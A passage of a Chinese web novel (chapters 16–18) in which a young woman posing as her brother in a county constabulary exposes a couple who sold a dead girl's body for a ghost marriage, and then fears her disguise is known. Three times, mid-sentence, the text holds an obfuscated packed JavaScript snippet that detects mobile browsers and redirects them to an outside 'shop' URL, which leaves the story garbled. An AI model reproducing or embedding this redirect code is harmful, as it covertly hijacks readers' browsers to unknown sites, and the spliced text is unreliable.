邢姝砚感觉火辣辣的疼,却并没有在意。 她不在意,丁四水却吓了一跳,急道:“你这死孩子,往哪儿打呢,看我不叫你家大人给你吃竹笋炒肉。” 丁四水是村正,丁小三自然怕,又听说要吃竹笋炒肉,心里更害怕了,带着哭腔嚷嚷,“不吃竹笋炒肉,不吃竹笋炒肉!” 邢姝砚对丁四水的举动很不以为然,一个眼神过去,丁四水只觉得压力倍增,不敢再多说什么了。 她又看向丁小三,柔声安抚,“只要你告诉我之前吃过什么,我就给你求情,不吃竹笋炒肉。可你要是说的不对……”她伸出两根手指,“竹笋炒肉加倍。” 丁小三在她再三保证过后,想了想,掰着黑黢黢的手指头小声数,“糖油糕、红枣酥、很甜很甜的果子,还有……想不起来了,娘不让往外说,你别告诉别人。” 邢姝砚:“不告诉,绝对不告诉。”不过要是别人自己听到就跟她没关系了。 冯仓办案多年,反应最快,把丁小三所说和他身上的穿戴一对比,心里就起了疑。 “这小孩是谁家的?” 16. 第 16 章 丁小三家就住丁长寿家隔壁,两家是邻居。 虽是近邻,可两家关系并不好,只因丁小三的娘刘氏贪婪势力又是长舌头,专门喜欢打探小道消息搬弄口舌是非。偏他爹丁腊月又是个耳根子软的,被刘氏拿捏的死死的,指东不打西,指狗不撵鸡,要多听话有多听话。 邢姝砚一进丁腊月家的院子,鼻子就微微动了动,在冯仓询问丁腊月和刘氏的时候,不经意的在院子里转了一圈。 他家的院子没隔壁丁长寿家大,但人少,住的宽敞。 饶是条件比丁长寿家好上许多,但院子里乱糟糟的,不光没有牛骡,就连鸡鸭都没有一只。 走近正房,只见窗台上落了厚厚的一层灰,污糟的窗棂上糊着厚厚的窗纸,雪白雪白的。 进了正房之后就空落落的了,是个正常农家的样子,只一张八仙桌,几条长凳子,八仙桌上摆放着一个青色茶壶,配着几个缺了口的杯子。 邢姝砚在正房几个屋看了几圈,在这期间,被捕快们问话的刘氏一直偷偷盯着她,神情明显紧张。 丁腊月则是白着一张脸,额头上不时渗出汗来。 邢姝砚见了,心里便有底了。 正房里没发现什么特别的,出来后在院子里站了站,又转去厨房。 厨房里倒是挺干净的,比正房和卧房都要干净,就连窗户上也糊了厚厚的窗纸,倒是比丁家几个孩子住的地方还讲究,他们住的房间窗户纸都破洞了,也没见刘氏重新糊一下。 邢姝砚在丁小三黑乎乎的小手上扫了一眼,不动声色的揭开锅盖,见锅里面什么都没有,只是刷的油亮,灶台周边收拾的极干净,又弯腰往灶膛里瞅了一眼,里面没烟也没火,只有烧完的白色灰烬。 看完灶膛一起身就撞到了后面的李林。 李林的两个大眼珠子瞪的贼亮,见邢姝砚看他,忙小声问:“发现什么了?” 邢姝砚差点被他绊着,后退两步才站稳,笑道:“怎么这么问?” 李林嘿嘿两声,搔搔胡子,“那不是你们读书人点子多嘛!” 李林这话倒不是托词,自从昨天晚上到现在,他就一直飘在云端没落地。 他的大脑壳一直想不通,邢姝砚那俩眼珠子怎么就那么亮,他们这么多兄弟看了那么久都没从尸体上看出些什么,邢姝砚竟一眼就发现了? 果然是书读的多的缘故吗? 看来以后还要督促自家臭小子多读书,哪怕不能科考,多认俩字也是好的,说不准以后还能接自己的班,嘿嘿! 邢姝砚不知他内心所想,又看了一眼灶台,笑了笑,“一会出去说。” 李林一听,就知道妥了,她准是有发现,更坚定的要跟着她,“大侄子,有好事可别忘了叔。” 邢姝砚好笑不已,赶紧点头,“知道了,叔!” 冯仓盘问了丁腊月和刘氏一番,没问出什么有用的东西来,见邢姝砚过来,示意她来问。 邢姝砚眼神在刘氏略粗些的左边胳膊上划过,又抬头端详她的长相,完了露齿一笑。 “抓人吧。” 冯仓愣了一下才反应过来邢姝砚说的是什么,掏掏耳朵,仿佛没听清。 “你说什么?” “抓人啊!”邢姝砚再次强调,“咱们这次出来不是找线索的吗?现在找到了,抓人啊!” “嘿!你这……”冯仓搓了搓牙花子,他是想看看这香饽饽有多香,没料到却是个生瓜蛋子。 什么就抓人吧?什么就找到线索了? 线索在哪儿?他怎么没看到? 被问话的丁腊月和刘氏比冯仓更快反应过来,顿时呼天抢地的嚎了起来,又是哭冤又是喊屈,还叫着要冯仓给他们作主,吓的院子里的丁小三和他两个哥哥都傻了。 丁小三缓过神来后,小牛犊似的朝邢姝砚撞过去,“你这个坏人,我打死你!” 还没等邢姝砚反应过来,一双大手铁钳似的掐住了他的小胳膊,顺手一提溜把人给制住了。 “嘿,你这小子,脾气倒是不小。” 丁小三对抓着自己的李林连踢带踹,“你放开我,我要打死他,让他欺负我娘!” 邢姝砚看了他一眼,转头对还在哀求的刘氏和丁腊月道:“他很孝顺,只可惜摊上你们这样的爹娘。” 刘氏和丁腊月愣愣的看着她,听不明白。 邢姝砚也没有解释的闲心,转头看向村正丁四水,丁四水一个哆嗦,忙道:“我这就找人把这小子看住,不让他胡闹。” 说完,把丁小三从李林手里拽过来,在他屁股上狠狠揍了两下,把人往屋子里一推,对他两个哥哥道:“把人看好喽,不然你们……” 他抹脖子杀鸡的做了个手势,吓的丁小三两个哥哥点头不迭,用力把门关上,任凭丁小三在里面吵闹。 冯仓一出戏刚开了个头就被丁小三给冲了,也没闲心再打机锋,直截了当的对邢姝砚道:“你说抓人,总得有个理由给我。” 他们做捕快的,名声虽然算不上好,却也不是恶霸,总不能看谁不顺眼就抓谁,不然县令大人第一个办的就是自己。 邢姝砚抬头打量了一下所处的这个院子,问丁四水,“你是村正,他家有什么亲戚朋友?过的什么光景你是了解的吧?” 丁四水擦了擦头上的汗水,“是,是,了解,了解。” 说罢,把丁腊月和刘氏的情况一一道来。 归咎起来就一个字:穷。 根子上就穷,梢子上还穷。 加上他俩还懒,过的日子和隔壁丁长寿家差不多了。 丁长寿家人多嚼口多,那是没办法,丁腊月两口子就真真不知让人说什么好了。 邢姝砚听罢,微微一笑,走到刘氏身边,一把扯住她左臂,在众人还没反应过来的时候,重重往起一撸。 没了袖子的遮挡,刘氏胳膊上卡着的东西就明晃晃的呈现在大家眼前。 那是一只银镯子,上面有着淡淡的装饰纹样,一指来宽,紧紧的卡在胳膊肘下方。 邢姝砚紧盯着刘氏,大声问道:“你能解释一下这是怎么来的吗?” 刘氏飞快的扯下袖子,把镯子重新盖起来,尖声道:“我娘家带来的,怎么了?” 邢姝砚哂笑,“这只镯子最少二两,你娘家精穷,怎么有余力给是置办这么贵重的嫁妆?你不是独女,娘家还有哥哥弟弟,怎么,你爹娘是拼着儿子娶不上媳妇也要给你风风光光的嫁过来?” 刘氏口塞,随即又飞快的辩解,“我娘家后来缓过来了,这是我爹娘补给我的?” “什么时候补给你的?” “就在前年。” 邢姝砚嘴角勾起,从容不迫,“可那镯子上分明有‘尚记’的纹样,前年的时候,尚记还没有在县里开店,你爹娘是从哪里弄到尚记的镯子?” 刘氏一下子哑了。 邢姝砚懒的再听她狡辩,直接道:“其实你说的是真是假都不重要,只要往你娘家走一趟就会真相大白。” 刘氏身子一软。 她娘家几个嫂子并不是好相与的,要是知道了她这番话,怕不是会闹上天。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568906|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>旁边的丁腊月反应极快,几乎在邢姝砚话落地的同时就飞快磕头。 “她说的是假的,其实这镯子是小人在外边捡的,回来后被这婆娘抢了去,非说这合该是她的。小人原本想当了添置些东西,偏她不让,说就当是娘家陪嫁的。她跟小人过了这么多年,小人也没给婆娘买过什么东西,既然她喜欢就由着她了。都是小人的错,没管好她,让她嘴里胡吣,各位差爷大人有大量,就饶过她这一回吧!” 说完,拉着刘氏,喝道:“还不给各位差爷磕头,就你好脸,明明是捡来的东西非说是娘家送的,想往脸上贴金也不是这么个贴法。” 刘氏回过神来,呯呯磕头,又不住扇自己耳光,“都是这张臭嘴胡说八道,差爷们饶我这一回吧,我下次再不敢了。” 事情一下子僵在那里,丁四水看了众人一眼,讷讷的道:“这……你……哎呀,糊涂啊!” 说完,又眼巴巴的看着捕快们。 一个年轻捕快名叫陈胜的道:“我家婆娘就这样,但凡对的就是她的,错的都是我的,全糊弄一张脸,就爱个面子。” 这话引的好几个捕快赞同,谁家婆娘不是这样呢? 丁腊月的一番答对,天衣无缝,将邢姝砚营造出来的局面连消带打毁了个干净。 邢姝砚……李林担心的看着她,嘴唇动了动,想说什么又没能说出来。 他倒是能出声把事情圆过去,只是邢姝砚初来乍到,又被推在了风口浪尖,要是不能把这件事圆满的翻过去,怕是从此会沦落成捕班里的边缘人。 冯仓也对邢姝砚接下来的举动很好奇,忒着眼睛看她。 邢姝砚似乎没感受到众人的侧目,原地踱了几步,把眼神落在了丁腊月身上。 之前被大家的叙述影响,一直以为他是刘氏的影子,现在看起来,丁腊月才是家里真正主事的人啊! 脑子够用,反应也够快。 有意思! 她嘴角扬起一个小小的角度,走到李林跟前,同他小声说了些什么,李林点点头,转身离开。 邢姝砚转转回来,盯着丁腊月看了一会儿,直把他看得头皮发麻,于是才问:“你从小到大一共捡过几次东西?” “一次,只有这一次。” 邢姝砚告诫对方,“你想好了再说,你所说的一切将来是要呈到公堂上去的,到时候再反悔先挨一顿板子,皮开肉绽又难养好,弄不好还要拖累家里。” 丁腊月赌咒发誓,“小人不敢欺瞒,真的只有这一次。” 邢姝砚点头,“那好,我再问你,你是什么时候捡到的镯子,除了镯子还捡到了什么?” 丁腊月垂着脑袋想了想,“半个月前,不不不……一个月前,小人一个月前进城,然后就捡到了这个镯子,当时没人看见,小人起了贪心,捡起来就跑。” “在哪里捡的?” “小人怕有人看见,特意跑了好几个地方,只顾着闷头跑,忘记记地方了。” 很好,该记得的记得,不该记得的一概不记得。 邢姝砚:“我再问你一遍,当时除了镯子,还捡到了什么?” “只有镯子,真的没有其他的了,小人可以对天发誓!” 邢姝砚抬头看了看天色,见天边慢慢集聚起乌云,道:“别发誓了,别一会儿下雨,再不小心把你给劈着。” “啊?”丁腊月张大嘴,不明白她为什么这么说。 邢姝砚懒得再和他绕弯子,起身到厨房里捡了个东西扔到他面前。 “你来解释一下,这是什么?” 17. 第 17 章 丁腊月看清扔到地上的那个东西后,瞳孔骤然一缩,随后急忙道: “这是啥?哦,我想起来了,这是鸡骨头,野鸡的骨头,我在山上套的,肉吃了,骨头怕招虫子,扔灶膛里了。” “你经常上山?” 丁腊月摇头,“不常上,那回就是运气好,逮着一只野鸡。” “在什么地方逮着的?” “西山坳里。” “就逮着一只?” “就逮着一只。” “什么花色的?” “金红花的?” “公的?” “对,是公的?” “没有母的?” “没有。” “除了这只鸡,最近还吃了几只鸡?” “没了,就这一只。” 邢姝砚眼神定定的看着他,嘴角突然勾起,藏在背后的手伸了出来,掌心一摊,里面是两根白色的羽毛,约手指长短。 “公的野鸡可不长这种羽毛,你能解释一下它们为什么会在你家吗?” 丁腊月猛的抬头,见鬼似的盯着邢姝砚。 邢姝砚似笑非笑,修长的手指拈着两根羽毛转了转,“这两根羽毛的根部还很湿润,带着皮屑,明显拔下了没多长时间,还没风干,你也要说是捡的?而且,它们就藏在你家米缸底下,米缸很重,孩子可搬不动哦!” 一个“哦”字意味深长,丁腊月被晃的心神发颤,重重的跪坐下去。 哪怕他努力使劲的去想,一时半会儿也想不出狡辩的话来。 “你和刘氏都懒,这是丁家庄公认的。”邢姝砚踱着步子,开口解释,“这么懒的两口子某一天突然勤快起来,不惹人起疑吗?或者你想说,孩子大了,该为他们打算一下,可是你看……” 邢姝砚伸手一划,将大半个院子囊括其中,“几个孩子住的地方破破烂烂,正房和厨房倒是糊着新窗纸,还那么厚,并不怎么透光?怎么,是想藏住什么东西吗?” 她蹲下身来,对刘氏笑道:“是想藏住气味对不对?家里突然多出来许多肉和点心,那么香,那么甜,自然要藏起来慢慢吃,怕被人发现,只好把厨房和正房都糊上厚纸,这样,气味自然就透出不出。” 刘氏哆嗦一下,抬头看着她,眼里满是惊骇。 邢姝砚朝她微微一笑,“爱美之心,人皆有之,买香粉擦之后要把脖子也遮一遮,不然脸白脖子黑,会很奇怪。” 刘氏哆嗦的更厉害了。 邢姝砚:“再告诉你一个秘密,哪怕是四钱银子一盒的香粉也不防水,下次可千万不要流泪了,看,脸上都冲出沟壑来了。” 在所诸人听到这话,全都朝刘氏看过去,见她果然花了脸,这都是刚才哭嚎的时候弄出来的。 刘氏急忙撇过头去,又羞又悔,深恨自己不该贪图这点享受。 邢姝砚站起身来,把两根羽毛仔细收好,这才拍了拍手,“为了掩藏住家里突然有钱了这个事实,你们计划的很好,挡住会漏出去的气味,叮嘱家里人不要往外说,甚至一改之前的懒惰,把可能会泄漏的地方打扫的干干净净。可是百密难免一疏,你们最大的遮掩其实就是最大的破绽。” 最后,她指着院子里堆放柴禾的地方道:“看到这一圈印子了没?这里原本放了许多柴禾,可是现在只剩下印子,这么宽的印子对应的是多少柴禾?这是短时间大量烧柴留下来的,这几天没下雨,痕迹还新着呢。” 众人又齐齐转过头去看那柴禾堆,见果如她所说,周边一块新痕迹。 冯仓最先回过神来,眼神落在欣然而立的邢姝砚身上,嘴角扯出一丝笑意来,嘴唇动了下,“小矮子还挺有心眼,县令大人眼光确实不差!” 其他众捕快,连同在旁边听呆了的丁四水全都眼光灼灼的盯着邢姝砚,似乎要把她烧出一个洞来。 刚才还侃侃而谈、把嫌疑人驳的无还手之力的邢姝砚被人这么看着,突然不自在起来,手脚都差点没处放,幸好哒哒哒进院子的脚步声吸引了众人的注意力。 进来的是李林,身后还跟着个媒婆,臊眉耷眼的,一声不吭。 李林用力瞪了对方一眼,晃了晃腰间的锁链,“别让爷亲自动手啊!” 媒婆这才打起精神,朝众人团团行了个礼,随后嘎嘣往下一跪,抬手自扇了两个耳光。 “都是老婆子这一张嘴啊,那天无意中说出县东有个老光棍,想给自己买个媳妇,活的也行,死的也不介意,就为给自己在地下找个伴儿。” 她说完,抬头看了一眼不远处的刘氏,完了又垂下头,“这话也是赶巧了,就被腊月家的听见了,她还特意问我来着,我……我也没在意,就给说了。” 刘氏听着她的话,脸色灰白,连粉都遮不住了,瘫在地上,就像一团烂泥。 邢姝砚开口,直截了当,“所以,你就把主意打到了刚死的丁苗身上?” 刘氏嘴唇哆嗦个不停,哪里还能说的出话。 倒是丁腊月两只手连摆,“不不不不,不是这样,是……” 转头四处看了一眼,没找到丁小三,“是小三子听到隔壁说丁苗晦气,很不想情愿给她办事。他们不愿意,可有人愿意呀!” 丁腊月直起上半身来,目光灼灼的看向在场众人,“他们不喜欢丁苗,可有人不嫌弃啊!那还不如做做好事,给丁苗找一个喜欢她的人家,这不是皆大欢喜吗?” “嘿,你这……”李林听了他的话,气不打一处来,原地转了两圈都没找出个合适的说法,“照你这么说,都是做好事,怎么不把你家先人挖出来给人送去?” 丁四水也有些傻眼,任他怎么想破脑袋都没想到在自家地盘上竟生出了这样的“菩萨”! “这……这……你……你你……糊涂啊!糊涂啊!” 看他跺的脚底板都快折了,邢姝砚张口道:“他可不糊涂,没见到做‘好事’得来的钱财都独吞了吗?” 这话一出,丁四水彻底说不出话来了。 冯仓看看阴沉的天色,腰间跨刀一甩,招呼众捕快,“兄弟们,趁着还没下雨,先把人押回县衙,再行发落。” 众捕快轰然应诺,迅速把丁腊月和刘氏绑了起来。 冯仓晃悠到邢姝砚身边,想夸她表现不错,谁知话到嘴边竟变了味儿。 “……还是……太矮了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574807|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 被夸的邢姝砚愣了半天才回过神来,看着走开的冯仓背影磨了磨牙。 两个悬案告破了一个,邢姝砚那天的英勇神姿传遍了整个县衙,不少人都特意来“瞻仰”她。 邢姝砚被看的受不了,到了下值时间头都没回往外蹿,然后就被一个人叫住了。 光听到声音,还没看到人影,牙就先痒痒起来。 邢姝砚定住脚步,努力憋出一个笑来,转身,问好。 “冯捕头叫我?” 冯仓大步走过来,随手朝这边扔了个东西。 邢姝砚拿不准他扔的是什么,敏捷的往旁边一跳,然后就听当啷一声,低头一看,一个钱袋子躺在脚下。 再看冯仓的脸色,黑的像锅底一般。 “怎么?赏钱都瞧不上了?” 邢姝砚讪讪,慌忙把钱袋捡起来,两手捧着,“那哪儿能呢?” 完了又小心翼翼的问:“这是给我的吗?” 冯仓掸了掸鞋子,朝她翻个白眼,“不然呢,丢沙包玩吗?矮子才喜欢玩那个呢!” 矮? 邢姝砚内牛满面,悄悄踮了下脚跟,发现没什么用,又把脚放了回去。 冯仓掸完鞋子,整整幞头,“这次多亏了你,兄弟们少挨一顿板子,有什么想要的,可以提。” 邢姝砚紧紧抓着钱袋,两眼亮晶晶的看着对方,直把人高马大的捕头看的浑身发毛。 “停停停,你这是什么眼神?” 邢姝砚收回眼神,乖巧的笑了下,把在心里盘桓多日的想法说了出来。 “县衙里的公人这么多,我想有可能的话都认识一下,以后可能会对办案有帮助。” “啥?”饶是冯仓见多识广,也不由的被她的话吓了一跳,“全都认识一下?” 他手指隔空在邢姝砚脑袋上点了点,哪怕是距离远,也能看出用了多大力气。 “你是觉得捕班这碗饭不好吃?还是嫌我管的多?怎么,想另攀高枝?” 这帽子扣的有点大,邢姝砚接不住,赶忙道:“没没没,卑职没有这个意思,真的就是想认识一下咱们县衙里的人,将来出门办事不至于一个都不认识,两眼一摸黑。” 冯仓撇嘴,“你不认识有别人认识啊,总不可能让你一个人去办案吧!县衙又不是没人了,就你这身板……” 说着,还嫌弃的啧啧两声,“怕是一个打眼就会被贼偷走,到时候还得找人救你!” 邢姝砚:“……” 自己是多没用啊,才会被贼偷走? 再说,自己也在努力的锻炼吧! 又不是三岁小孩,怎么可能会被偷走? 看着这个气鼓鼓的下属,冯仓被惊吓半天的心情总算好了点,“下值后别走,去守门。” 短短一句话,让邢姝砚僵硬了一瞬,到底还是被穿小鞋了。 就没听说过捕快去守门的? 捕快守门,那壮班做什么?还有门子呢? 难不成想制造机会让自己被人合理合法的打一顿? 男人心,海底针! 到底是多么大的心眼儿才会这么记仇啊? 18. 第 18 章 宋琦上任后一共出了两桩案子,丁苗案已经告破,另一个无名女尸案却是全然找不着头绪。 县衙里也不能光盯着这一个案子,其他什么都不做。 捕班又忙活了几天,便回归正常了。 邢姝砚也开始的了她的“加班”生涯。 也不知冯仓和壮班的班头是怎么说的,反正壮班对她去顶班的事一点都没异议。 清水县衙面南而立,中轴线上的第一重门就是南面六扇开的大门。 说六扇开其实不常开,常开的只有东侧两扇以供日常出入,其他的只有等到重大节庆或新官上任、迎接上级官员时才会打开。 中轴线上的第二重门便是仪门。 仪门是县衙的礼仪之门,也不常开,它位于大门之后、大堂之前,文官在此下轿,武官在此下马。 仪门两侧设有便门,东便门供日常出入,又称“?生门?”或“人门”;西便门只有在押解死囚赴刑时才会开启,又叫“?死门?”或“鬼门”。 邢姝砚守的第一个门就是东便门。 东便门她常来,但在这里当守门郎还是第一次。 跟她搭档的是个四五十岁的老叔,名叫陈立,风吹日晒的,皮肤黑的泛光,都快跟家里的杏树皮一个颜色了。 陈立守门守了十几个年头,早就熟悉了衙门里的一切,见邢姝砚过来,什么都没说,只朝她笑笑。 虽然只是一笑,却让邢姝砚惴惴不安的内心安定了下来。 她打过招呼,在门的另一边站好,瞅着左右没人的空当,眼疾手快的将一包揣在怀里的油炸花生米塞给对方。 陈立不动声色的将花生米塞进自己腰间,顺手在油纸皮上戳了个洞,从里面掏了两颗扔进嘴里,嚼了嚼,眯起眼睛。 “嗯,不错。” 邢姝砚呲牙一乐,“您喜欢吃,我下次再给您带。” 陈立随意的点了点头,又吃了两颗,“我知道你,你在监牢里当过差,老张头想认你当徒弟,不过后来你去了捕班,这事就没成。” 说起老张头,邢姝砚眼里的神色暖了起来,这是县衙里第一个真心待自己的老人家。 “有几天没见着他老人家了,他还好吗?” “好,好的不得了,他闺女给他生了个大胖外孙,每天下值喝喝小酒,抱抱外孙,不知道有多美?” 闻言,邢姝砚笑的更开心了,正在傻乐,就听旁边有人打趣道:“老陈,怎么换伴了啊?这么年轻,不会是偷摸把自己儿子带出来了吧?” 陈立啐了他一口,“我倒是想。” 两人又打趣几句,那人才出了东便门离开。 邢姝砚见那人越走越远,直到背影都看不见,转过头问陈立:“陈叔,衙门里的人你都认识吧?” “八九不离十,吃的就是这口饭,怎能不把人认全呢?” 听到这话,邢姝砚的眼睛倏的亮了起来,“那您一定也认识邢归鸿了。” “邢归鸿啊?”陈立想了想,“是书吏吧?” 邢姝砚连连点头,“就是他,您知道他在这里有什么好友或是走的近的人吗?” 陈立听了,转过头奇怪的望着她,“他是你爹,你知道的不该比我这个老头子更清楚吗?” 邢姝砚:“……” 半晌才艰难的问:“您是怎么知道我们的关系的?” 陈立又往嘴里扔了颗花生米,咬的咯嘣咯嘣响,眼皮都没抬,“县衙里哪有什么秘密?你是谁的儿子,你家几口人,从你走进这扇大门开始,一切就都摊开在了明面上,都不需要仔细打听……” 他接下来说了什么,邢姝砚一个字都没记住。 她只觉得浑身发冷,明明是三春时节,却像是骨头里结了冰似的。 其他人或许不在乎背景被摊开,她不行! 她背负着女孩儿的身份,顶着哥哥的名头,这是她致命的破绽。 一旦被人发现……那后果…… 暮色掩映下,谁都没有发现她的一张脸越来越白。 心不在焉的守完之后的时辰,从东便门下值后,幽魂似的飘回家里,连特意留给她的晚饭都没吃就一头扎进房里。 邢书同第一时间就注意到她的不对劲,只是走不开,等把丁秀兰这边安排妥当,这才敲响了西厢房的门。 邢姝砚开门,见门外梳着双平髻、穿着襦衫百迭裙的哥哥站在门外,手中还捧着一个托盘,上面盛了一碗鸡丝粥,还有两小碟时蔬。 见邢姝砚的第一眼,他便弯起眼角,笑了起来,“是不是累了?先把粥喝了,再好好睡上一觉。” 看着本该和同窗一起探讨文章,或者恣意奋发努力攻书的哥哥成了现在这个样子,邢姝砚茫然了。 她都不知道自己该不该后悔,或者当初选择的这条路究竟是对还是错? 如果是错,怎么补救? 她怔怔的站在那里,一脸的空白,仿佛整个人成了个空壳子。 邢书同吓了一跳,三步并作两步上前,一把扯住她的手腕,“怎么了,出什么事了?” 邢姝砚看着眼前神色焦急的人,眼睛眨了一下,突然滚下泪来。 她从小便不爱哭,这一下更是吓到了邢书同。 看着差点把手里托盘砸了的亲哥哥,邢姝砚赶忙扶住他,“别急别急,我没事,我真的没事。” 望着犹自狐疑,还是不怎么相信的邢书同,邢姝砚又有点想笑,抬手抹掉眼泪,接过对方手里的托盘。 把托盘放在桌子上,轻轻嗅了一口,“真香啊!你吃了吗?” 待听到邢书同说他吃过后,才舀起鸡丝粥送进嘴里。 软、烂、香、滑,一口下肚,香气直接弥散到胃里,暖洋洋的,是家的味道。 两口粥下肚,眼眶不由自主又热了起来,怕邢书同看见,忙低了头,一口不停的往嘴里塞东西。 沉默的一餐吃完,刚放下碗筷,就听桌子对面的人道:“现在该告诉我,到底出什么事了吧?” 邢姝砚坐直身子,深吸一口气,想了想,还是把今晚发生的事说了出来。 邢书同听完,笑道:“就这?” 邢姝砚瞪大眼,“这还不严重?我可是邢书同,在县衙里当值的邢书同!” 为提防隔墙有耳,她没说太明白,只重重的强调了“邢书同”三个字。 对面的人自然听的明白,勾起唇角,摸摸她的脑袋,“你是走后门进去的,身份从一开始就不是秘密,后来阴差阳错被挤出户房,知道的人自然会当成谈资。至于其他的,你放心,有我。” 邢书同只告诉她让她放心,邢姝砚却不明白对方的决心,直到第二天下值回家,见两个人的房间已经对调了。 她的房间由原来的西厢房调到东厢房,而邢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578783|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书同则由原来的东厢房搬到了西厢房。 光是如此也还罢了,可邢姝砚在邢书同耳垂上发现了两个黑点。 “这是什么?” 她走近细看,对方却一直在躲。 眼看躲不过,只能站住,直视对方,“没什么,只是扎了两个耳洞,娘说要用茶叶梗穿上,等长好就行了。” 邢姝砚被这个消息冲击的两眼昏花,差点站不稳,手指愣愣的抬起去摸他的耳垂。 触及到那抹温热之后,又烫手似的缩了回来。 鼻子开始酸涩,顶着一股泪意往外涌。 “哥!”她张了张嘴,无声的喊出这个字眼,随即咬着拳头,哭的上气不接下气。 邢书同的眼睛也红了,他慢慢走过去,站定,轻轻拍了拍邢姝砚的肩膀,用力露出一抹笑来,在她耳边轻唤了一声:“哥哥!” 邢姝砚再也忍不住,哇的一声哭出来,用力抱紧对方,“你不用这样的。” 邢书同用力拍了拍她的背,什么都没说。 直到坐到饭桌前,邢姝砚的两只眼睛还是红的像兔子一样,时不时的还抽噎一下,显然是哭的狠了。 “娘。”她带着哭腔问:“你怎么不劝劝他。” 随即又反应过来,扎耳洞的事邢书同一个人做不成,显然是有帮手的。 “你怎么也跟着他胡闹啊?” 将养的好多了的丁秀兰将女儿哭湿了的鬓发抿到耳后,又看了旁边的儿子一眼,“你们两个都是我亲生的,我一样心疼。你只道他为这个家牺牲太多,那你呢?难道你牺牲的就少了吗?” 说起这个,丁秀兰的心里像是有钢针在扎,她深深的吸了口气,颤抖着手为儿子女儿各夹了一筷子菜。 “我希望你们两个一生平顺、安稳喜乐,可如果……”她用力闭了闭眼,“可如果事与愿违,我希望你们能选好自己的路,然后……踏踏实实、一往无前的走下去!” 丁秀兰的伤病是整个事件的导火索,却不是最开始的起因。 原因有很多种,一桩桩、一件件,如同汇入溪流的小河,把整个事情越推越远。 她也曾想过自己是不是一死了之才是最好,可看着病弱却还在努力照顾自己的儿子,看着原本弱质纤纤却一头扎进男人堆里、只为把这个破碎的家缝补起来的女儿,突然间就想通了。 如果她真的离开,两个孩子所做的一切将全无意义,那才是最大的错失和遗憾。 这个家已经有了一个缺口,不能再缺了另外一块。 想通的之后的丁秀兰恢复的飞快,现在已经不需要看大夫了。 当然,为邢书同常年诊治的大夫也不能用了。 邢书同搬家的事是得到了丁秀兰首肯的,见妹妹问起这个事,便主动道:“虽说男子住东厢,但东厢房日晒严重,其实不适合养病,我早就眼馋你那屋很久了,这次正好有机会搬出来,说什么我都不会换的。” 邢姝砚知道他说的都是借口,十几年住下来没觉得难熬,偏只一日就受不了了? 只是面对至亲之人的爱护之意,反驳的话怎么都说不出口。 望着邢书同红肿的耳垂,心疼的道:“那也不用扎耳洞嘛,多疼啊!” 邢书同抬手碰了碰耳朵,“这不是你教我们的吗?” “啊?”邢姝砚大吃一惊,“什么时候教的,我怎么不记得?”